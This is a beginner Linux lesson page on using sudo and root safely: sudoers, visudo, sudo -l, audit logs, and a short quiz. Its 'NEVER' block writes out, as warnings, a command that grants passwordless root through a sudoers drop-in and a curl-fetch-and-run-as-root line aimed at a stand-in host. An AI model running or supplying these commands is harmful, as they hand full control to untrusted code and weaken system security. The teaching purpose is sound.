Cyberlium

Linux › Module 3 › Lesson 3

BeginnerModule 3Lesson 3/5

sudo & Root Access

Use sudo safely and understand root privileges on Linux

15 min+24 XP3 quiz
Module progress3 of 5

Opening

Root is not a personality. It is a blast radius.

UID 0 can install packages, rewrite any file, and shut the machine down. That power is required for administration. It is also why a browser exploit, a malicious npm install, or a pasted "fix" from a forum becomes a full compromise if you were already root. sudo exists so you can stay a normal user for daily work and pick up UID 0 for one command, with a password prompt and a log line. Misconfigured sudo is how "I am not root" still becomes root — especially NOPASSWD: ALL. This lesson is about using sudo on machines you own, reading who may escalate, and refusing the habit of living as root.

1. root vs sudo vs sudo -i

Logging in as root (or su - to a full root shell) makes every process in that session UID 0. You will forget. You will rm the wrong path. You will open a web page. Daily root is dangerous because the blast radius is always maximum. Desktop distros that force a named user and sudo are teaching that lesson by default. Some lab images that drop you as root are a classroom shortcut — not a production lifestyle to copy onto a laptop you use for banking.

sudo command runs that one command as root (or another user), then drops back. You authenticate with your password, not root's, and auth.log / journal records who asked for what. That audit trail is why servers prefer sudo over a shared root password. After a successful sudo, many systems cache credentials for a few minutes (timestamp) so you are not retyping constantly — but that cache is still tied to your session, not a permanent god mode.

sudo -i is a login-style root shell: environment similar to root's login, HOME=/root, root's shell. sudo -s is a root shell that often keeps more of your environment. Both are useful for a burst of admin work. Both are easy to leave open. Type exit when the task ends. If your prompt still shows root@ or # hours later, you did not finish the hygiene half of the job. Prefer one-shot sudo apt install … over an idle root shell.

2. /etc/sudoers, visudo, and the NOPASSWD trap

Who may sudo is defined in /etc/sudoers and files under /etc/sudoers.d/. A common line grants members of the sudo or wheel group the ability to run any command after authenticating. Always edit with visudo (or visudo -f for a drop-in file). visudo locks the file and checks syntax; a typo in sudoers can lock everyone out of privilege escalation until you recover from a rescue medium.

NOPASSWD: ALL means "this user can become root for anything without typing a password." It shows up in broken "convenience" guides and in attacker persistence after they plant a sudoers.d snippet. On a personal VM for learning you might see it; on a shared or production host it is a finding. Least privilege means granting the smallest command set needed — not ALL — and requiring a password when practical.

sudo -l (or sudo -ll) lists what you are allowed to run. Read it. If you see unexpected ALL or strange wrappers, treat that as inventory, not trivia. sudo -u otheruser command runs as another account when policy allows — useful for service accounts on boxes you administer. Do not use sudo to poke other users' homes on a school server "for practice." Scope stays on your VM/WSL/spare machine and files under your control.

3. What root can do — and why that matters for safety

Root bypasses discretionary permission checks on ordinary files. chmod 000 on a file does not stop root from reading it. Root can load kernel modules, change firewall rules, replace binaries in /usr/bin, and reset passwords. That is why supply-chain and "curl | bash" advice is so dangerous when run under sudo: you handed the script the keys. Read scripts before elevating them. Prefer package managers from trusted mirrors over pasted one-liners.

Logs matter. On many systems, successful and failed sudo attempts land in /var/log/auth.log or the journal (journalctl -u sudo or journalctl _COMM=sudo, depending on distro). Defenders hunt failed sudo storms and unexpected successful escalations. As a learner, knowing that sudo is audited should make you deliberate: elevate for apt update, not for cat ~/notes.txt.

su versus sudo: su switches user (often to root) and typically needs the target account password. sudo uses your password and a policy file. Shared root passwords scale poorly; sudo with named accounts scales better. If someone asks you to email your sudo password or paste sudoers from a random forum into production, stop. Lab machines you own are for learning; live systems need change control.

4. Wrong vs right: living as root "because it is easier"

Failure mode — permanent UID 0 as a lifestyle. Right use elevates briefly on machines you own:

  • Wrong

    Log in as root for browsing, coding, and Discord all day. Paste curl | sudo bash from an unverified gist. Add NOPASSWD: ALL for your user on a shared lab host so classmates never type a password. Leave sudo -i open overnight. Run random "permission fix" scripts that rewrite /etc/sudoers without visudo. Use sudo to explore other students' home directories on a school server.

  • Right

    Daily work as an unprivileged user. Elevate one command at a time: sudo apt install …, sudo systemctl restart …. Exit root shells when done. Read sudo -l on your own VM. Edit policy only with visudo on systems you administer. Treat NOPASSWD: ALL as a smell. Never elevate untrusted paste. Keep practice inside your VM/WSL/$HOME — sudo is power, not permission to touch other people's data.

5. Practical: safe sudo habits on your own box

On your Ubuntu/Kali/WSL instance, confirm who you are (id, whoami), list sudo rights (sudo -l), and run a harmless elevated command such as sudo true or sudo whoami. Create notes under $HOME/cyberlium-lab — do not need root for that. If sudo asks for a password you do not know, you are not in the sudo group; fixing that is an admin task on your VM, not a reason to disable authentication on a shared host.

Command guide

Inventory sudo on YOUR VM / WSL only

YOUR machine only — do not sudo against shared school hosts for "fun"

Command — copy this

id
whoami
groups

What policy allows for you?

Command — copy this

sudo -l

One-shot elevation (then you are normal again)

Command — copy this

sudo whoami          # expect root
whoami               # expect your normal user

Harmless no-op elevation (tests auth without changing the system)

Command — copy this

sudo true
echo "sudo exit code: $?"

Prefer one-shots over lingering root shells

Optional command

sudo -i    # only when you need a burst of admin work — then: exit

Command — copy this

mkdir -p "$HOME/cyberlium-lab/m03-sudo"
cd "$HOME/cyberlium-lab/m03-sudo" || exit 1
printf '%s
' \
  "I elevate only when needed." \
  "I exit root shells." \
  "I never paste curl|sudo bash blindly." \
  > sudo-habits.txt
cat sudo-habits.txt

Optional on YOUR VM: see recent auth noise (paths vary by distro)

Optional command

sudo tail -n 20 /var/log/auth.log

journalctl -n 20 _COMM=sudo 2>/dev/null || true

NEVER:

Optional command

echo 'user ALL=(ALL) NOPASSWD: ALL' | sudo tee /etc/sudoers.d/bad
sudo bash -c "$(curl -fsSL http://untrusted.example/install.sh)"
sudo -i and leave it open while browsing
sudo ls /home/otherstudent   # not your lab

Mission: elevate once, drop back, write the rule

On your own VM/WSL: run id and sudo -l. Run sudo whoami and confirm you return to a normal whoami afterward. Create $HOME/cyberlium-lab/m03-sudo/sudo-habits.txt with three lines: elevate only when needed; exit root shells; never blind curl|sudo bash. Do not edit sudoers unless you administer this box and use visudo. Do not use sudo to access other users' files.

Stuck? Ask Cyberlium AI Mentor

If sudo says your user is not in the sudoers file, ask Cyberlium AI Mentor for a hint — not a random NOPASSWD paste. Try: "Hint only: on Ubuntu Desktop how do I check whether my account is in the sudo group, without disabling passwords?" Fix policy on machines you own; do not weaken shared hosts.

You now treat root as a blast radius, prefer one-shot sudo, read sudo -l, and distrust NOPASSWD: ALL and blind elevated pastes. Next — Lab — Permission Challenge — puts chmod modes on disk under $HOME so the bits stop being abstract.

Knowledge Check

1

APPLY: You need to install a package on your own Ubuntu VM. Best pattern?

Multiple choice

Knowledge Check

2

APPLY: Why is NOPASSWD: ALL on a shared lab host a security smell?

Multiple choice

Knowledge Check

3

APPLY: True or False: Because sudo works on your laptop, you may sudo ls other students' home directories on a school server to "practice forensics."

True or False

← Previous

Answer all 3 knowledge checks to continue. (0/3 answered)